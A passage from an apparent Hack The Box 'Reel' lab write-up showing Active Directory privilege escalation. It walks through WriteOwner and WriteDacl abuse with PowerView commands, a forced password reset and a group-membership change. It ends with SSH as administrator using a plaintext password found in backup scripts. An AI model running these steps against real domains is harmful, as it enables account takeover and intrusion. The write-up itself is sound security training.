43	Domain Guests@HTB.LOCAL	GROUP		Account Operators@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
44	Domain Guests@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
45	Domain Guests@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	ExtendedRight	User-Force-Change-Password	AccessAllowed	True
46	Domain Guests@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteProperty	Member	AccessAllowed	True

With **acls.csv** file, we won't need Bloodhound.

Searching for `tom@htb.local` we can see information about the user:

tom@HTB.LOCAL	USER	Domain Admins@HTB.LOCAL	GROUP	WriteDacL WriteOwner
tom@HTB.LOCAL	USER	Enterprise Admins@HTB.LOCAL	GROUP	WriteDacL WriteOwner
tom@HTB.LOCAL	USER	Administrators@HTB.LOCAL	GROUP	WriteDacL WriteOwner
tom@HTB.LOCAL	USER	Local System@HTB.LOCAL	USER	GenericAll
tom@HTB.LOCAL	USER	Domain Admins@HTB.LOCAL	GROUP	Owner

So tom has **WriteOwner** rights over `claire`:

SM_8257963a642b41bb9@HTB.LOCAL	USER	Domain Admins@HTB.LOCAL	GROUP	Owner
claire@HTB.LOCAL	USER	tom@HTB.LOCAL	USER	WriteOwner
claire@HTB.LOCAL	USER	Domain Admins@HTB.LOCAL	GROUP	GenericAll

I'll see claire has **WriteDacL** rights over the `Backup_Admins` group object:

Backup_Admins@HTB.LOCAL	GROUP	Domain Admins@HTB.LOCAL	GROUP	GenericAll
Backup_Admins@HTB.LOCAL	GROUP	claire@HTB.LOCAL	USER	WriteDacL
Backup_Admins@HTB.LOCAL	GROUP	herman@HTB.LOCAL	USER	WriteDacL

WriteOwner

Bloodhound Support got a great guide on how to exploit this [here](#).

We've already cover exploiting WriteOwner on [HTB-Object](#) before.

To abuse this privilege with **PowerView's Set-DomainObjectOwner**, we will first import **PowerView** into our agent session :

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>powershell
Windows PowerShell
Copyright (C) 2014 Microsoft Corporation. All rights reserved.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1
```

Next, we'll set tom as the owner of claire's ACL:

```
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
```

Next, we'll give tom permissions to change passwords on that ACL:

```
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights
ResetPassword
```

Now, we'll create a credential, and then set claire's password:

```
$cred = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
```

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -force
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword $cred
```

Using the set password, we can ssh in as claire:


```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

claire@REEL C:\Users\claire>whoami
htb\claire
```

Privesc: claire to Backup_Admis

WriteDacl

From the csv file before, we know that claire WriteDacl rights on the Backup_Admis group. We can abuse this to add her to the group. We have already covered this on [HTB-Forest](#) before.

Let's add claire to the backup_admins group:

```
net group backup_admins claire /add
```

```
PS C:\Users\claire\Downloads> net group backup_admins claire /add
The command completed successfully.

PS C:\Users\claire\Downloads> net group backup_admins
Group name      Backup_Admis
Comment

Members

-----
claire          ranj
The command completed successfully.
```

Privesc: Backup_Admis to Administrator

Although claire is in the backup_admins groups, we still can't read root.txt:

```
claire@REEL C:\Users\Administrator\Desktop>type root.txt
Access is denied.
```

Let's go check out Backup Scripts directory:

```
Directory of C:\Users\Administrator\Desktop

01/21/2018  03:56 PM    <DIR>          .
01/21/2018  03:56 PM    <DIR>          ..
11/02/2017  10:47 PM    <DIR>          Backup Scripts
06/09/2024  11:17 AM                34 root.txt
               1 File(s)                34 bytes
               3 Dir(s)  4,886,663,168 bytes free
```

There are couple of scripts in it:

```

Directory of C:\Users\Administrator\Desktop\Backup Scripts
11/02/2017  10:47 PM    <DIR>          .
11/02/2017  10:47 PM    <DIR>          ..
11/04/2017  12:22 AM                845 backup.ps1
11/02/2017  10:37 PM                462 backup1.ps1
11/04/2017  12:21 AM            5,642 BackupScript.ps1
11/02/2017  10:43 PM            2,791 BackupScript.zip
11/04/2017  12:22 AM            1,855 folders-system-state.txt

11/04/2017  12:22 AM                308 test2.ps1.txt
               6 File(s)            11,903 bytes
               2 Dir(s)  4,886,663,168 bytes free

```

Let's hunt for keyword "password":

```

Get-ChildItem -Recurse "C:\Users\Administrator\Desktop\Backup Scripts" -
File | Select-String -Pattern "password" -CaseSensitive:$false

```

```

PS C:\Users\Administrator\Desktop\Backup Scripts> Get-ChildItem
-Recurse "C:\Users\Administrator\Desktop\Backup Scripts" -File
| Select-String -Pattern "password" -CaseSensitive:$false

BackupScript.ps1:1:# admin password
BackupScript.ps1:2:$password="Cr4ckMeIfYouC4n!"

```

Script found a password in plain text: **Cr4ckMeIfYouC4n!**

Using the password we can ssh in as the administrator:

```

(yoon@kali)-[~/Documents/htb/reel]
└─$ ssh administrator@10.10.10.77
administrator@10.10.10.77's password:

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

administrator@REEL C:\Users\Administrator>whoami
htb\administrator

```

Now we can read root.txt

```

administrator@REEL C:\Users\Administrator\Desktop>icacls root.txt
root.txt HTB\Backup_Admins:(DENY)(R)
          NT AUTHORITY\SYSTEM:(F)
          BUILTIN\Administrators:(RX)
          HTB\Administrator:(F)

```

References

- <https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread>
- <https://nvd.nist.gov/vuln/detail/CVE-2017-0199>
- <https://github.com/bhdresh/CVE-2017-0199>

- <https://jadu101.github.io/Hackthebox%F0%9F%93%A6/Windows%F0%9F%93%98/HTB-Pov#pscredentials>
- <https://juggernaut-sec.com/applocker-bypass/>
- <https://support.bloodhoundenterprise.io/hc/en-us/articles/17312755938203-WriteOwner>
- <https://jadu101.github.io/Hackthebox%F0%9F%93%A6/Windows%F0%9F%93%98/HTB-Object#writeowner-abuse>
- <https://jadu101.github.io/Hackthebox%F0%9F%93%A6/Windows%F0%9F%93%98/HTB-Forest#writedacl>